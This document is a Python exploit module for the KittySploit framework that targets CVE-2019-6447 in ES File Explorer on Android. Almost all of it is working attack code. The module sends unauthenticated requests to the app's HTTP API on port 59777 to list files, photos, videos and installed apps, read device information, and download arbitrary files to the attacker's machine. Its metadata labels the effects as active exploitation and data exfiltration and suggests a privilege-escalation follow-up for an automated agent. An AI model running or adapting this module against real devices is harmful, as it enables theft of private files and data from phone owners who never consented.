ES File Explorer <= 4.1.9.7.4 - Arbitrary File Read

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import ast
import json
from pathlib import Path
from typing import Optional, Union

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):

    DEFAULT_PORT = 59777
    AFFECTED_VERSION = "4.1.9.7.4"
    LIST_COMMANDS = (
        "listFiles",
        "listPics",
        "listVideos",
        "listAudios",
        "listApps",
        "listAppsSystem",
        "listAppsPhone",
        "listAppsSdcard",
        "listAppsAll",
    )
    COMMANDS = LIST_COMMANDS + ("getFile", "getDeviceInfo")

    __info__ = {
        "name": "ES File Explorer <= 4.1.9.7.4 - Arbitrary File Read",
        "description": (
            "CVE-2019-6447 — ES File Explorer exposes an unauthenticated HTTP API on TCP "
            "59777 that allows listing device content and arbitrary file download "
            "via the getFile command."
        ),
        "author": ["Nehal Zaman", "KittySploit Team"],
        "cve": ["CVE-2019-6447"],
        "arch": [Arch.ARM, Arch.ARM64],
        "platform": Platform.ANDROID,
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2019-6447",
        ],
        "tags": [
            "android",
            "es-file-explorer",
            "file-read",
            "unauthenticated",
            "cve-2019-6447",
        ],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation', 'data_exfiltration'],
        'expected_requests': 2,
        'reversible': True,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
    },
    }

    payload = OptString("", "Unused for this file-read module", required=False, advanced=True)

    port = OptPort(DEFAULT_PORT, "ES File Explorer HTTP API port", required=True)
    ssl = OptBool(False, "Use HTTPS (the vulnerable service is normally plain HTTP)", required=True)
    command = OptString(
        "getDeviceInfo",
        "API command: listFiles, listPics, listVideos, listAudios, listApps, "
        "listAppsSystem, listAppsPhone, listAppsSdcard, listAppsAll, getFile, getDeviceInfo",
        required=True,
    )
    remote_path = OptString(
        "",
        "Absolute remote path for getFile (must start with /)",
        required=False,
    )
    output_file = OptString("", "Local file to write getFile content", required=False)
    output_limit = OptInteger(
        12000,
        "Max characters to print for text listings when output_file is empty (0 = full)",
        required=False,
        advanced=True,
    )

    def _parse_api_response(self, text: str) -> Optional[Union[dict, list]]:
        if not text or not str(text).strip():
            return None
        body = str(text).strip()
        try:
            return ast.literal_eval(body)
        except (ValueError, SyntaxError):
            pass
        try:
            return json.loads(body)
        except json.JSONDecodeError:
            return None

    def _api_post(self, cmd: str) -> Optional[Union[dict, list]]:
        response = self.http_request(
            method="POST",
            path="/",
            data=json.dumps({"command": cmd}),
            headers={"Content-Type": "application/json"},
            timeout=20,
            allow_redirects=False,
        )
        if not response or response.status_code >= 400:
            return None
        return self._parse_api_response(response.text or "")

    def _api_get_file(self, remote_path: str) -> Optional[bytes]:
        if not remote_path.startswith("/"):
            print_error("remote_path must be an absolute path starting with /")
            return None
        response = self.http_request(
            method="GET",
            path=remote_path,
            timeout=30,
            allow_redirects=False,
        )
        if not response or response.status_code >= 400:
            return None
        return response.content

    def _print_listing(self, items: list) -> None:
        if not items:
            print_info("No entries returned")
            return
        for entry in items:
            if not isinstance(entry, dict):
                print_info(str(entry))
                continue
            for key, value in entry.items():
                print_info(f"{key}: {value}")
            print_info("---")

    def _print_mapping(self, data: dict) -> None:
        for key, value in data.items():
            print_info(f"{key}: {value}")

    def _save_output(self, content: bytes, fallback_name: str) -> Optional[str]:
        local = str(self.output_file or "").strip()
        if not local:
            local = fallback_name or "es_file_explorer_out.dat"
        try:
            Path(local).write_bytes(content)
            print_success(f"Saved {len(content)} bytes to {local}")
            return local
        except OSError as exc:
            print_error(f"Could not write output_file: {exc}")
            return None

    def _preview_text(self, content: bytes) -> None:
        limit = int(self.output_limit or 0)
        text = content.decode("utf-8", errors="replace")
        if limit > 0 and len(text) > limit:
            print_info(text[:limit] + "\n... [truncated]")
        else:
            print_info(text)

    def check(self):
        data = self._api_post("getDeviceInfo")
        if isinstance(data, dict) and data:
            return {
                "vulnerable": True,
                "reason": "ES File Explorer HTTP API answered getDeviceInfo",
                "confidence": "high",
            }
        return {
            "vulnerable": False,
            "reason": "ES File Explorer API did not return device info",
            "confidence": "medium",
        }

    def run(self):
        cmd = str(self.command or "").strip()
        if cmd not in self.COMMANDS:
            print_error(f"Invalid command: {cmd}")
            print_info("Available commands:")
            for name in self.COMMANDS:
                print_info(f"  {name}")
            return False

        print_status(f"CVE-2019-6447 — ES File Explorer API on port {self.port}")

        if cmd in self.LIST_COMMANDS:
            data = self._api_post(cmd)
            if not isinstance(data, list):
                print_error("Listing command did not return a list")
                return False
            print_success(f"{cmd} returned {len(data)} entr{'y' if len(data) == 1 else 'ies'}")
            self._print_listing(data)
            self.vulnerable()
            return True

        if cmd == "getDeviceInfo":
            data = self._api_post(cmd)
            if not isinstance(data, dict) or not data:
                print_error("getDeviceInfo did not return a mapping")
                return False
            print_success("Device info retrieved")
            self._print_mapping(data)
            self.vulnerable()
            return True

        remote_path = str(self.remote_path or "").strip()
        if not remote_path:
            print_error("remote_path is required for getFile")
            return False

        print_status(f"Downloading {remote_path}...")
        content = self._api_get_file(remote_path)
        if content is None:
            print_error("getFile request failed")
            return False

        fallback = Path(remote_path).name or "es_file_explorer_out.dat"
        if self.output_file or not self._looks_like_text(content):
            if not self._save_output(content, fallback):
                return False
        else:
            self._preview_text(content)

        self.vulnerable()
        return True

    def _looks_like_text(self, content: bytes) -> bool:
        if not content:
            return True
        sample = content[:512]
        if b"\x00" in sample:
            return False
        try:
            sample.decode("utf-8")
            return True
        except UnicodeDecodeError:
            return False